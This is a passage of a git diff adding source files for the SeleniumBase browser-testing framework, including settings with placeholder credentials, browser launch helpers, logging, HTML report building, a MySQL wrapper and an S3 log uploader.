+        # Add all other lines to final script without making changes
+        seleniumbase_lines.append(line)
+
+    seleniumbase_code = ""
+    if has_unicode:
+        seleniumbase_code = "# -*- coding: utf-8 -*-\n"
+    for line in seleniumbase_lines:
+        seleniumbase_code += line
+        seleniumbase_code += "\n"
+    # print seleniumbase_code  # (For debugging)
+
+    # Create SeleniumBase test file
+    base_file_name = webdriver_python_file.split('.py')[0]
+    converted_file_name = base_file_name + "_SB.py"
+    out_file = codecs.open(converted_file_name, "w+")
+    out_file.writelines(seleniumbase_code)
+    out_file.close()
+    print("%s successfully created from %s\n" % (
+        converted_file_name, webdriver_python_file))
+
+
+if __name__ == "__main__":
+    main()
diff --git a/SeleniumBase/pytest.ini b/SeleniumBase/pytest.ini
new file mode 100644
index 00000000..4eaf59cf
--- /dev/null
+++ b/SeleniumBase/pytest.ini
@@ -0,0 +1,2 @@
+[pytest]
+addopts = --capture=no --with-selenium --ignore conftest.py
diff --git a/SeleniumBase/requirements.txt b/SeleniumBase/requirements.txt
new file mode 100755
index 00000000..f6c805ab
--- /dev/null
+++ b/SeleniumBase/requirements.txt
@@ -0,0 +1,18 @@
+pip>=9.0.1
+setuptools>=35.0.1
+ipython==5.3.0
+selenium==3.4.1
+nose>=1.3.7
+pytest>=3.0.7
+pytest-html>=1.14.2
+six>=1.10.0
+flake8>=3.3.0
+requests>=2.13.0
+urllib3>=1.20
+BeautifulSoup>=3.2.1
+unittest2>=1.1.0
+chardet>=3.0.2
+boto>=2.46.1
+ipdb==0.10.2
+pyvirtualdisplay>=0.2.1
+-e .
diff --git a/SeleniumBase/seleniumbase/__init__.py b/SeleniumBase/seleniumbase/__init__.py
new file mode 100755
index 00000000..aa4824fd
--- /dev/null
+++ b/SeleniumBase/seleniumbase/__init__.py
@@ -0,0 +1,2 @@
+from seleniumbase.fixtures.base_case import BaseCase  # noqa
+from seleniumbase.masterqa.master_qa import MasterQA  # noqa
diff --git a/SeleniumBase/seleniumbase/common/__init__.py b/SeleniumBase/seleniumbase/common/__init__.py
new file mode 100755
index 00000000..e69de29b
diff --git a/SeleniumBase/seleniumbase/common/decorators.py b/SeleniumBase/seleniumbase/common/decorators.py
new file mode 100755
index 00000000..8c08deb1
--- /dev/null
+++ b/SeleniumBase/seleniumbase/common/decorators.py
@@ -0,0 +1,66 @@
+import logging
+import math
+import threading
+import time
+from functools import wraps
+
+
+def retry_on_exception(tries=6, delay=1, backoff=2, max_delay=32):
+    '''
+    Decorator for implementing exponential backoff for retrying on failures.
+
+    tries: Max number of tries to execute the wrapped function before failing.
+    delay: Delay time in seconds before the FIRST retry.
+    backoff: Multiplier to extend the initial delay by for each retry.
+    max_delay: Max time in seconds to wait between retries.
+    '''
+    tries = math.floor(tries)
+    if tries < 1:
+        raise ValueError('"tries" must be greater than or equal to 1.')
+    if delay < 0:
+        raise ValueError('"delay" must be greater than or equal to 0.')
+    if backoff < 1:
+        raise ValueError('"backoff" must be greater than or equal to 1.')
+    if max_delay < delay:
+        raise ValueError('"max_delay" must be greater than or equal to delay.')
+
+    def decorated_function_with_retry(func):
+        @wraps(func)
+        def function_to_retry(*args, **kwargs):
+            local_tries, local_delay = tries, delay
+            while local_tries > 1:
+                try:
+                    return func(*args, **kwargs)
+                except Exception, e:
+                    if local_delay > max_delay:
+                        local_delay = max_delay
+                    logging.exception('%s: Retrying in %d seconds...'
+                                      % (str(e), local_delay))
+                    time.sleep(local_delay)
+                    local_tries -= 1
+                    local_delay *= backoff
+            return func(*args, **kwargs)
+        return function_to_retry
+    return decorated_function_with_retry
+
+
+def rate_limited(max_per_second):
+    min_interval = 1.0 / float(max_per_second)
+
+    def decorate(func):
+        last_time_called = [0.0]
+        rate_lock = threading.Lock()  # To support multi-threading
+
+        def rate_limited_function(*args, **kargs):
+            try:
+                rate_lock.acquire(True)
+                elapsed = time.clock() - last_time_called[0]
+                wait_time_remaining = min_interval - elapsed
+                if wait_time_remaining > 0:
+                    time.sleep(wait_time_remaining)
+                last_time_called[0] = time.clock()
+            finally:
+                rate_lock.release()
+            return func(*args, **kargs)
+        return rate_limited_function
+    return decorate
diff --git a/SeleniumBase/seleniumbase/config/__init__.py b/SeleniumBase/seleniumbase/config/__init__.py
new file mode 100755
index 00000000..e69de29b
diff --git a/SeleniumBase/seleniumbase/config/settings.py b/SeleniumBase/seleniumbase/config/settings.py
new file mode 100755
index 00000000..5d8d1ada
--- /dev/null
+++ b/SeleniumBase/seleniumbase/config/settings.py
@@ -0,0 +1,132 @@
+"""
+You'll probably want to customize this to your own environment and needs.
+
+NOSETESTS USERS: IF YOU MAKE CHANGES TO THIS FILE, YOU NEED TO RERUN
+``python setup.py install`` IN ORDER FOR YOUR CHANGES TO TAKE EFFECT.
+"""
+
+
+# #####>>>>>----- REQUIRED/IMPORTANT SETTINGS -----<<<<<#####
+
+# Default seconds to wait for page elements to appear before performing actions
+TINY_TIMEOUT = 0.1
+MINI_TIMEOUT = 2
+SMALL_TIMEOUT = 5
+LARGE_TIMEOUT = 10
+EXTREME_TIMEOUT = 30
+
+# Default time to wait after each browser action performed during Demo Mode
+# Use Demo Mode when you want others to see what your automation is doing
+# Usage: --demo_mode when run from the command line when using --with-selenium
+# This value can be overwritten on the command line by using --demo_sleep=FLOAT
+DEFAULT_DEMO_MODE_TIMEOUT = 1.0
+
+# Number of times to repeat the highlight animation. (Seen during Demo Mode)
+# Each loop is about 0.18 seconds.
+# This value can be overwritten on the command line by using --highlights=TIMES
+HIGHLIGHTS = 4
+
+# If True, existing logs from past test runs will be saved and take up space.
+# If False, only the logs from the most recent test run will be saved locally.
+# This has no effect on Jenkins/S3/MySQL, which may still be saving test logs.
+ARCHIVE_EXISTING_LOGS = False
+
+# If True, existing downloads from past runs will be saved and take up space.
+# If False, only the downloads from the most recent run will be saved locally.
+ARCHIVE_EXISTING_DOWNLOADS = False
+
+# Default names for files saved during test failures when logging is turned on.
+# (These files will get saved to the "latest_logs/" folder)
+# Usage: "--with-testing_base"
+SCREENSHOT_NAME = "screenshot.jpg"
+BASIC_INFO_NAME = "basic_test_info.txt"
+PAGE_SOURCE_NAME = "page_source.html"
+
+# Default names for folders and files saved when reports are turned on.
+# Usage: "--report" (Also requires: "--with-testing_base")
+# These settings are also used with MasterQA
+LATEST_REPORT_DIR = "latest_report"
+REPORT_ARCHIVE_DIR = "archived_reports"
+HTML_REPORT = "report.html"
+RESULTS_TABLE = "results_table.csv"
+
+'''
+This adds wait_for_ready_state_complete() after various browser actions.
+By default, Selenium waits for the 'interactive' state before continuing.
+Setting this to True may improve reliability at the cost of speed.
+WARNING: Some websites are in a perpetual "interactive" state due to
+dynamic content that never fully finishes loading (Use "False" there).
+'''
+# Called after self.open(url) or self.open_url(url), NOT self.driver.open(url)
+WAIT_FOR_RSC_ON_PAGE_LOADS = True
+# Called after self.click(selector), NOT element.click()
+WAIT_FOR_RSC_ON_CLICKS = True
+
+'''
+This adds wait_for_angularjs() after wait_for_ready_state_complete()
+after various browser actions.  Setting this to True may improve reliability
+of AngularJs applications at the cost of speed.
+NOTE: This requires WAIT_FOR_RSC_ON_PAGE_LOADS and/or WAIT_FOR_RSC_ON_CLICKS
+to be True since it's part of wait_for_ready_state_complete().
+'''
+# Called after each wait_for_ready_state_complete()
+WAIT_FOR_ANGULARJS = False
+
+
+# #####>>>>>----- MasterQA SETTINGS -----<<<<<#####
+# ##### (Used when importing MasterQA as the parent class)
+
+# The default message that appears when you don't specify a custom message
+MASTERQA_DEFAULT_VALIDATION_MESSAGE = "Does the page look good?"
+
+# The time delay (in seconds) before the validation pop-up appears
+# This value can be overwritten on the command line. Ex: --verify_delay=0.5
+MASTERQA_WAIT_TIME_BEFORE_VERIFY = 1.0
+
+# If True, the automation will start in full-screen mode
+MASTERQA_START_IN_FULL_SCREEN_MODE = True
+
+# The maximimum idle time allowed (in seconds) before timing out and exiting
+MASTERQA_MAX_IDLE_TIME_BEFORE_QUIT = 600
+
+
+# #####>>>>>----- RECOMMENDED SETTINGS -----<<<<<#####
+# ##### (For database reporting and saving test logs)
+
+# MySQL DB Credentials
+# (For saving data from tests)
+DB_HOST = "127.0.0.1"
+DB_USERNAME = "root"
+DB_PASSWORD = "test"
+DB_SCHEMA = "test"
+
+
+# Amazon S3 Bucket Credentials
+# (For saving screenshots and other log files from tests)
+S3_LOG_BUCKET = "[S3 BUCKET NAME]"
+S3_BUCKET_URL = "https://[S3 BUCKET NAME].s3.amazonaws.com/"
+S3_SELENIUM_ACCESS_KEY = "[S3 ACCESS KEY]"
+S3_SELENIUM_SECRET_KEY = "[S3 SECRET KEY]"
+
+
+# #####>>>>>----- OPTIONAL SETTINGS -----<<<<<#####
+# ##### (For reading emails, notifying people via chat apps, etc.)
+
+# Default Email Credentials
+# (If tests send out emails, you can scan and verify them by using IMAP)
+# Here's a list of imap strings for known email providers:
+# - Gmail:         imap.gmail.com
+# - Outlook/Live:  imap-mail.outlook.com
+# - Yahoo Mail:    imap.mail.yahoo.com
+# - AT&T:          imap.mail.att.net
+# - Comcast:       imap.comcast.net
+# - Verizon:       incoming.verizon.net
+EMAIL_USERNAME = "[TEST ACCOUNT GMAIL USERNAME]@gmail.com"
+EMAIL_PASSWORD = "[TEST ACCOUNT GMAIL PASSWORD]"
+EMAIL_IMAP_STRING = "imap.gmail.com"
+EMAIL_IMAP_PORT = 993
+
+# HipChat Reporting Credentials
+# (For HipChat notifications if your team uses HipChat)
+# (room_id and owner_to_mention get entered during nosetest options)
+HIPCHAT_AUTH_TOKEN = "[ENTER YOUR HIPCHAT AUTH TOKEN HERE]"
diff --git a/SeleniumBase/seleniumbase/core/__init__.py b/SeleniumBase/seleniumbase/core/__init__.py
new file mode 100755
index 00000000..e69de29b
diff --git a/SeleniumBase/seleniumbase/core/application_manager.py b/SeleniumBase/seleniumbase/core/application_manager.py
new file mode 100755
index 00000000..c6b9112b
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/application_manager.py
@@ -0,0 +1,26 @@
+"""
+Method for generating application strings used in the Testcase Database.
+"""
+
+import time
+
+
+class ApplicationManager:
+    """
+    This class contains methods to generate application strings.
+    """
+
+    @classmethod
+    def generate_application_string(cls, test):
+        """ Generate an application string based on some of the given information
+            that can be pulled from the test object: app_env, start_time. """
+
+        app_env = 'test'
+        if hasattr(test, 'env'):
+            app_env = test.env
+        elif hasattr(test, 'environment'):
+            app_env = test.environment
+
+        start_time = int(time.time() * 1000)
+
+        return "%s.%s" % (app_env, start_time)
diff --git a/SeleniumBase/seleniumbase/core/browser_launcher.py b/SeleniumBase/seleniumbase/core/browser_launcher.py
new file mode 100755
index 00000000..a326e633
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/browser_launcher.py
@@ -0,0 +1,76 @@
+from selenium import webdriver
+from selenium.common.exceptions import WebDriverException
+from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
+from seleniumbase.core import download_helper
+from seleniumbase.fixtures import constants
+
+
+def _create_firefox_profile(downloads_path):
+    profile = webdriver.FirefoxProfile()
+    profile.set_preference("reader.parse-on-load.enabled", False)
+    profile.set_preference("pdfjs.disabled", True)
+    profile.set_preference(
+        "security.mixed_content.block_active_content", False)
+    profile.set_preference(
+        "browser.download.manager.showAlertOnComplete", False)
+    profile.set_preference("browser.download.panel.shown", False)
+    profile.set_preference(
+        "browser.download.animateNotifications", False)
+    profile.set_preference("browser.download.dir", downloads_path)
+    profile.set_preference("browser.download.folderList", 2)
+    profile.set_preference(
+        "browser.helperApps.neverAsk.saveToDisk",
+        ("application/pdf, application/zip, application/octet-stream, "
+         "text/csv, text/xml, application/xml, text/plain, "
+         "text/octet-stream, "
+         "application/"
+         "vnd.openxmlformats-officedocument.spreadsheetml.sheet"))
+    return profile
+
+
+def get_driver(browser_name):
+    '''
+    Spins up a new web browser and returns the driver.
+    Tests that run with pytest spin up the browser from here.
+    Can also be used to spin up additional browsers for the same test.
+    '''
+    downloads_path = download_helper.get_downloads_folder()
+    download_helper.reset_downloads_folder()
+
+    if browser_name == constants.Browser.FIREFOX:
+        try:
+            try:
+                # Use Geckodriver for Firefox if it's on the PATH
+                profile = _create_firefox_profile(downloads_path)
+                firefox_capabilities = DesiredCapabilities.FIREFOX.copy()
+                firefox_capabilities['marionette'] = True
+                firefox_driver = webdriver.Firefox(
+                    firefox_profile=profile, capabilities=firefox_capabilities)
+            except WebDriverException:
+                # Don't use Geckodriver: Only works for old versions of Firefox
+                profile = _create_firefox_profile(downloads_path)
+                firefox_capabilities = DesiredCapabilities.FIREFOX.copy()
+                firefox_capabilities['marionette'] = False
+                firefox_driver = webdriver.Firefox(
+                    firefox_profile=profile, capabilities=firefox_capabilities)
+            return firefox_driver
+        except:
+            return webdriver.Firefox()
+    if browser_name == constants.Browser.INTERNET_EXPLORER:
+        return webdriver.Ie()
+    if browser_name == constants.Browser.EDGE:
+        return webdriver.Edge()
+    if browser_name == constants.Browser.SAFARI:
+        return webdriver.Safari()
+    if browser_name == constants.Browser.PHANTOM_JS:
+        return webdriver.PhantomJS()
+    if browser_name == constants.Browser.GOOGLE_CHROME:
+        try:
+            chrome_options = webdriver.ChromeOptions()
+            prefs = {"download.default_directory": downloads_path}
+            chrome_options.add_experimental_option("prefs", prefs)
+            chrome_options.add_argument("--allow-file-access-from-files")
+            chrome_options.add_argument("--allow-running-insecure-content")
+            return webdriver.Chrome(chrome_options=chrome_options)
+        except Exception:
+            return webdriver.Chrome()
diff --git a/SeleniumBase/seleniumbase/core/download_helper.py b/SeleniumBase/seleniumbase/core/download_helper.py
new file mode 100755
index 00000000..df1de221
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/download_helper.py
@@ -0,0 +1,35 @@
+import os
+import shutil
+import time
+from seleniumbase.config import settings
+from seleniumbase.fixtures import constants
+
+# Folder for saving downloaded files.
+# If initiated by WebDriver clicks, works ONLY for Chrome and Firefox.
+# Browser used doesn't matter if done with self.download_file(file_url)
+# or self.save_file_as(file_url, new_file_name)
+DOWNLOADS_DIR = constants.Files.DOWNLOADS_FOLDER
+ARCHIVE_DIR = constants.Files.ARCHIVED_DOWNLOADS_FOLDER
+
+abs_path = os.path.abspath('.')
+downloads_path = os.path.join(abs_path, DOWNLOADS_DIR)
+
+
+def get_downloads_folder():
+    return downloads_path
+
+
+def reset_downloads_folder():
+    ''' Clears the downloads folder.
+        If settings.ARCHIVE_EXISTING_DOWNLOADS is set to True, archives it. '''
+    if os.path.exists(downloads_path):
+        archived_downloads_folder = os.path.join(downloads_path, '..',
+                                                 ARCHIVE_DIR)
+        if not os.path.exists(archived_downloads_folder):
+            os.makedirs(archived_downloads_folder)
+        archived_downloads_folder = "%sdownloads_%s" % (
+            archived_downloads_folder, int(time.time()))
+        shutil.move(downloads_path, archived_downloads_folder)
+        os.makedirs(downloads_path)
+        if not settings.ARCHIVE_EXISTING_DOWNLOADS:
+            shutil.rmtree(archived_downloads_folder)
diff --git a/SeleniumBase/seleniumbase/core/log_helper.py b/SeleniumBase/seleniumbase/core/log_helper.py
new file mode 100755
index 00000000..b3c8a537
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/log_helper.py
@@ -0,0 +1,75 @@
+import codecs
+import sys
+import traceback
+from seleniumbase.config import settings
+
+
+def log_screenshot(test_logpath, driver):
+    screenshot_name = settings.SCREENSHOT_NAME
+    screenshot_path = "%s/%s" % (test_logpath, screenshot_name)
+    driver.get_screenshot_as_file(screenshot_path)
+
+
+def log_test_failure_data(test_logpath, driver, browser):
+    basic_info_name = settings.BASIC_INFO_NAME
+    basic_file_path = "%s/%s" % (test_logpath, basic_info_name)
+    log_file = codecs.open(basic_file_path, "w+", "utf-8")
+    last_page = get_last_page(driver)
+    data_to_save = []
+    data_to_save.append("Last_Page: %s" % last_page)
+    data_to_save.append("Browser: %s " % browser)
+    data_to_save.append("Traceback: " + ''.join(
+        traceback.format_exception(sys.exc_info()[0],
+                                   sys.exc_info()[1],
+                                   sys.exc_info()[2])))
+    log_file.writelines("\r\n".join(data_to_save))
+    log_file.close()
+
+
+def log_page_source(test_logpath, driver):
+    html_file_name = settings.PAGE_SOURCE_NAME
+    try:
+        page_source = driver.page_source
+    except Exception:
+        # Since we can't get the page source from here, skip saving it
+        return
+    html_file_path = "%s/%s" % (test_logpath, html_file_name)
+    html_file = codecs.open(html_file_path, "w+", "utf-8")
+    rendered_source = get_html_source_with_base_href(driver, page_source)
+    html_file.write(rendered_source)
+    html_file.close()
+
+
+def get_last_page(driver):
+    try:
+        last_page = driver.current_url
+    except Exception:
+        last_page = '[WARNING! Browser Not Open!]'
+    if len(last_page) < 5:
+        last_page = '[WARNING! Browser Not Open!]'
+    return last_page
+
+
+def get_base_url(full_url):
+    protocol = full_url.split('://')[0]
+    simple_url = full_url.split('://')[1]
+    base_url = simple_url.split('/')[0]
+    full_base_url = "%s://%s" % (protocol, base_url)
+    return full_base_url
+
+
+def get_base_href_html(full_url):
+    ''' The base href line tells the html what the base page really is.
+        This is important when trying to open the page outside it's home. '''
+    base_url = get_base_url(full_url)
+    return '<base href="%s"></base>' % base_url
+
+
+def get_html_source_with_base_href(driver, page_source):
+    ''' Combines the domain base href with the html source.
+        This is needed for the page html to render correctly. '''
+    last_page = get_last_page(driver)
+    if '://' in last_page:
+        base_href_html = get_base_href_html(last_page)
+        return '%s\n%s' % (base_href_html, page_source)
+    return ''
diff --git a/SeleniumBase/seleniumbase/core/mysql.py b/SeleniumBase/seleniumbase/core/mysql.py
new file mode 100755
index 00000000..10652680
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/mysql.py
@@ -0,0 +1,68 @@
+"""
+Wrapper for MySQL functions to make life easier
+"""
+
+import time
+import mysql_conf as conf
+
+
+class DatabaseManager():
+    """
+    This class wraps database functions for easy use.
+    It connects to the testcase database.
+    """
+
+    def __init__(self, database_env='test', conf_creds=None):
+        """
+        Gets database information from mysql_conf.py and creates a connection.
+        """
+        import MySQLdb
+        db_server, db_user, db_pass, db_schema = \
+            conf.APP_CREDS[conf.Apps.TESTCASE_REPOSITORY][database_env]
+        retry_count = 3
+        backoff = 1.2  # Time to wait (in seconds) between retries
+        count = 0
+        while count < retry_count:
+            try:
+                self.conn = MySQLdb.connect(host=db_server,
+                                            user=db_user,
+                                            passwd=db_pass,
+                                            db=db_schema)
+                self.conn.autocommit(True)
+                self.cursor = self.conn.cursor()
+                return
+            except Exception:
+                time.sleep(backoff)
+                count = count + 1
+        if retry_count == 3:
+            raise Exception("Unable to connect to Database after 3 retries.")
+
+    def fetchall_query_and_close(self, query, values):
+        """
+        Executes a query, gets all the values and then closes up the connection
+        """
+        self.cursor.execute(query, values)
+        retval = self.cursor.fetchall()
+        self.__close_db()
+        return retval
+
+    def fetchone_query_and_close(self, query, values):
+        """
+        Executes a query, gets the first value, and closes up the connection
+        """
+        self.cursor.execute(query, values)
+        retval = self.cursor.fetchone()
+        self.__close_db()
+        return retval
+
+    def execute_query_and_close(self, query, values):
+        """
+        Executes a query and closes the connection
+        """
+        retval = self.cursor.execute(query, values)
+        self.__close_db()
+        return retval
+
+    def __close_db(self):
+        self.cursor.close()
+        self.conn.close()
diff --git a/SeleniumBase/seleniumbase/core/mysql_conf.py b/SeleniumBase/seleniumbase/core/mysql_conf.py
new file mode 100755
index 00000000..7682c11d
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/mysql_conf.py
@@ -0,0 +1,26 @@
+"""
+This file contains database credentials for the various databases
+that the tests need to access
+"""
+
+from seleniumbase.config import settings
+
+# Environments
+TEST = "test"
+
+
+class Apps:
+    TESTCASE_REPOSITORY = "testcase_repository"
+
+
+APP_CREDS = {
+
+    Apps.TESTCASE_REPOSITORY: {
+        TEST: (
+            settings.DB_HOST,
+            settings.DB_USERNAME,
+            settings.DB_PASSWORD,
+            settings.DB_SCHEMA)
+    },
+
+}
diff --git a/SeleniumBase/seleniumbase/core/report_helper.py b/SeleniumBase/seleniumbase/core/report_helper.py
new file mode 100755
index 00000000..39633fac
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/report_helper.py
@@ -0,0 +1,230 @@
+import os
+import shutil
+import sys
+import time
+from selenium import webdriver
+from seleniumbase.config import settings
+from seleniumbase.core.style_sheet import style
+from seleniumbase.fixtures import page_actions
+
+LATEST_REPORT_DIR = settings.LATEST_REPORT_DIR
+ARCHIVE_DIR = settings.REPORT_ARCHIVE_DIR
+HTML_REPORT = settings.HTML_REPORT
+RESULTS_TABLE = settings.RESULTS_TABLE
+
+
+def get_timestamp():
+    return str(int(time.time() * 1000))
+
+
+def process_successes(test, test_count, duration):
+    return(
+        '"%s","%s","%s","%s","%s","%s","%s","%s","%s","%s"' % (
+            test_count,
+            "Passed!",
+            "*",
+            "*",
+            "*",
+            test.browser,
+            get_timestamp()[:-3],
+            duration,
+            test.id(),
+            "*"))
+
+
+def process_failures(test, test_count, browser_type, duration):
+    bad_page_image = "failure_%s.jpg" % test_count
+    bad_page_data = "failure_%s.txt" % test_count
+    page_actions.save_screenshot(
+        test.driver, bad_page_image, folder=LATEST_REPORT_DIR)
+    page_actions.save_test_failure_data(
+        test.driver, bad_page_data, browser_type, folder=LATEST_REPORT_DIR)
+    exc_info = '(Unknown Failure)'
+    exception = sys.exc_info()[1]
+    if exception:
+        if hasattr(exception, 'msg'):
+            exc_info = exception.msg
+        elif hasattr(exception, 'message'):
+            exc_info = exception.message
+        else:
+            pass
+    return(
+        '"%s","%s","%s","%s","%s","%s","%s","%s","%s","%s"' % (
+            test_count,
+            "FAILED!",
+            bad_page_data,
+            bad_page_image,
+            test.driver.current_url,
+            test.browser,
+            get_timestamp()[:-3],
+            duration,
+            test.id(),
+            exc_info))
+
+
+def clear_out_old_report_logs(archive_past_runs=True, get_log_folder=False):
+    abs_path = os.path.abspath('.')
+    file_path = abs_path + "/%s" % LATEST_REPORT_DIR
+    if not os.path.exists(file_path):
+        os.makedirs(file_path)
+
+    if archive_past_runs:
+        archive_timestamp = int(time.time())
+        if not os.path.exists("%s/../%s/" % (file_path, ARCHIVE_DIR)):
+            os.makedirs("%s/../%s/" % (file_path, ARCHIVE_DIR))
+        archive_dir = "%s/../%s/report_%s" % (
+            file_path, ARCHIVE_DIR, archive_timestamp)
+        shutil.move(file_path, archive_dir)
+        os.makedirs(file_path)
+        if get_log_folder:
+            return archive_dir
+    else:
+        # Just delete bad pages to make room for the latest run.
+        filelist = [f for f in os.listdir(
+            "./%s" % LATEST_REPORT_DIR) if f.startswith("failure_") or (
+            f == HTML_REPORT) or (f.startswith("automation_failure")) or (
+            f == RESULTS_TABLE)]
+        for f in filelist:
+            os.remove("%s/%s" % (file_path, f))
+
+
+def add_bad_page_log_file(page_results_list):
+    abs_path = os.path.abspath('.')
+    file_path = abs_path + "/%s" % LATEST_REPORT_DIR
+    log_file = "%s/%s" % (file_path, RESULTS_TABLE)
+    f = open(log_file, 'w')
+    h_p1 = '''"Num","Result","Stacktrace","Screenshot",'''
+    h_p2 = '''"URL","Browser","Epoch Time","Duration",'''
+    h_p3 = '''"Test Case Address","Additional Info"\n'''
+    page_header = h_p1 + h_p2 + h_p3
+    f.write(page_header)
+    for line in page_results_list:
+        f.write("%s\n" % line)
+    f.close()
+
+
+def archive_new_report_logs():
+    log_string = clear_out_old_report_logs(get_log_folder=True)
+    log_folder = log_string.split('/')[-1]
+    abs_path = os.path.abspath('.')
+    file_path = abs_path + "/%s" % ARCHIVE_DIR
+    report_log_path = "%s/%s" % (file_path, log_folder)
+    return report_log_path
+
+
+def add_results_page(html):
+    abs_path = os.path.abspath('.')
+    file_path = abs_path + "/%s" % LATEST_REPORT_DIR
+    results_file_name = HTML_REPORT
+    results_file = "%s/%s" % (file_path, results_file_name)
+    f = open(results_file, 'w')
+    f.write(html)
+    f.close()
+    return results_file
+
+
+def build_report(report_log_path, page_results_list,
+                 successes, failures, browser_type,
+                 show_report):
+
+    web_log_path = "file://%s" % report_log_path
+    successes_count = len(successes)
+    failures_count = len(failures)
+    total_test_count = successes_count + failures_count
+
+    tf_color = "#11BB11"
+    if failures_count > 0:
+        tf_color = "#EE3A3A"
+
+    summary_table = '''<div><table><thead><tr>
+        <th>TESTING SUMMARY</th>
+        <th>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</th>
+        </tr></thead><tbody>
+        <tr style="color:#00BB00"><td>TESTS PASSING: <td>%s</tr>
+        <tr style="color:%s"     ><td>TESTS FAILING: <td>%s</tr>
+        <tr style="color:#4D4DDD"><td>TOTAL TESTS: <td>%s</tr>
+        </tbody></table>''' % (successes_count,
+                               tf_color,
+                               failures_count,
+                               total_test_count)
+
+    summary_table = '''<h1 id="ContextHeader" class="sectionHeader" title="">
+        %s</h1>''' % summary_table
+
+    log_link_shown = '../%s%s/' % (
+        ARCHIVE_DIR, web_log_path.split(ARCHIVE_DIR)[1])
+    csv_link = '%s/%s' % (web_log_path, RESULTS_TABLE)
+    csv_link_shown = '%s' % RESULTS_TABLE
+    log_table = '''<p><p><p><p><h2><table><tbody>
+        <tr><td>LOG FILES LINK:&nbsp;&nbsp;<td><a href="%s">%s</a></tr>
+        <tr><td>RESULTS TABLE:&nbsp;&nbsp;<td><a href="%s">%s</a></tr>
+        </tbody></table></h2><p><p><p><p>''' % (
+        web_log_path, log_link_shown, csv_link, csv_link_shown)
+
+    failure_table = '<h2><table><tbody></div>'
+    any_screenshots = False
+    for line in page_results_list:
+        line = line.split(',')
+        if line[1] == '"FAILED!"':
+            if not any_screenshots:
+                any_screenshots = True
+                failure_table += '''<thead><tr>
+                    <th>STACKTRACE&nbsp;&nbsp;</th>
+                    <th>SCREENSHOT&nbsp;&nbsp;</th>
+                    <th>LOCATION OF FAILURE</th>
+                    </tr></thead>'''
+            display_url = line[4]
+            if len(display_url) > 60:
+                display_url = display_url[0:58] + '...'
+            line = '<a href="%s">%s</a>' % (
+                "file://" + report_log_path + '/' + line[2], line[2]) + '''
+                &nbsp;&nbsp;
+                ''' + '<td><a href="%s">%s</a>' % (
+                "file://" + report_log_path + '/' + line[3], line[3]) + '''
+                &nbsp;&nbsp;
+                ''' + '<td><a href="%s">%s</a>' % (line[4], display_url)
+            line = line.replace('"', '')
+            failure_table += '<tr><td>%s</tr>\n' % line
+    failure_table += '</tbody></table></h2>'
+
+    failing_list = ''
+    if failures:
+        failing_list = '<h2><table><tbody>'
+        failing_list += '''<thead><tr><th>LIST OF FAILING TESTS
+                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
+                        </th></tr></thead>'''
+        for failure in failures:
+            failing_list += '<tr style="color:#EE3A3A"><td>%s</tr>\n' % failure
+        failing_list += '</tbody></table></h2>'
+
+    passing_list = ''
+    if successes:
+        passing_list = '<h2><table><tbody>'
+        passing_list += '''<thead><tr><th>LIST OF PASSING TESTS
+                        &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
+                        </th></tr></thead>'''
+        for success in successes:
+            passing_list += '<tr style="color:#00BB00"><td>%s</tr>\n' % success
+        passing_list += '</tbody></table></h2>'
+
+    table_view = '%s%s%s%s%s' % (
+        summary_table, log_table, failure_table, failing_list, passing_list)
+    report_html = '<html><head>%s</head><body>%s</body></html>' % (
+        style, table_view)
+    results_file = add_results_page(report_html)
+    archived_results_file = report_log_path + '/' + HTML_REPORT
+    shutil.copyfile(results_file, archived_results_file)
+    print("\n* The latest html report page is located at:\n" + results_file)
+    print(
+        "\n* Files saved for this report are located at:\n" + report_log_path)
+    print("")
+    if show_report:
+        if browser_type == 'firefox':
+            browser = webdriver.Firefox()
+        else:
+            browser = webdriver.Chrome()
+        browser.get("file://%s" % archived_results_file)
+        print("\n*** Close the html report window to continue. ***")
+        while len(browser.window_handles):
+            time.sleep(0.1)
+        browser.quit()
diff --git a/SeleniumBase/seleniumbase/core/s3_manager.py b/SeleniumBase/seleniumbase/core/s3_manager.py
new file mode 100755
index 00000000..289c1068
--- /dev/null
+++ b/SeleniumBase/seleniumbase/core/s3_manager.py
@@ -0,0 +1,79 @@
+"""
+Manager for dealing with uploading/managing files on S3
+"""
+from boto.s3.connection import S3Connection
+from boto.s3.key import Key
+from seleniumbase.config import settings
+
+already_uploaded_files = []
+
+
+class S3LoggingBucket(object):
+    """
+    A class to upload our log files from tests to S3, from
+    whence we can share them.
+    """
+
+    def __init__(self,
+                 log_bucket=settings.S3_LOG_BUCKET,
+                 bucket_url=settings.S3_BUCKET_URL,
+                 selenium_access_key=settings.S3_SELENIUM_ACCESS_KEY,
+                 selenium_secret_key=settings.S3_SELENIUM_SECRET_KEY):
+
+        self.conn = S3Connection(selenium_access_key,
+                                 selenium_secret_key)
+        self.bucket = self.conn.get_bucket(log_bucket)
+        self.bucket_url = bucket_url
+
+    def get_key(self, _name):
+        """create a new Key instance with the given name"""
+        return Key(bucket=self.bucket, name=_name)
+
+    def get_bucket(self):
+        """return the bucket we're using"""
+        return self.bucket
+
+    def upload_file(self, file_name, file_path):
+        """upload a given file from the file_path to the bucket
+        with the new name/path file_name"""
+        upload_key = Key(bucket=self.bucket, name=file_name)
+        content_type = "text/plain"
+        if file_name.endswith(".html"):
+            content_type = "text/html"
+        if file_name.endswith(".jpg"):
+            content_type = "image/jpg"
+        upload_key.set_contents_from_filename(
+            file_path,
+            headers={"Content-Type": content_type})
+        upload_key.url = \
+            upload_key.generate_url(expires_in=3600).split("?")[0]
+        try:
+            upload_key.make_public()
+        except:
+            pass
+        return file_name
+
+    def upload_index_file(self, test_address, timestamp):
+        """create an index.html file with links to all the log files we
+        just uploaded"""
+        global already_uploaded_files
+        already_uploaded_files = list(set(already_uploaded_files))
+        already_uploaded_files.sort()
+        file_name = "%s/%s/index.html" % (test_address, timestamp)
+        index = self.get_key(file_name)
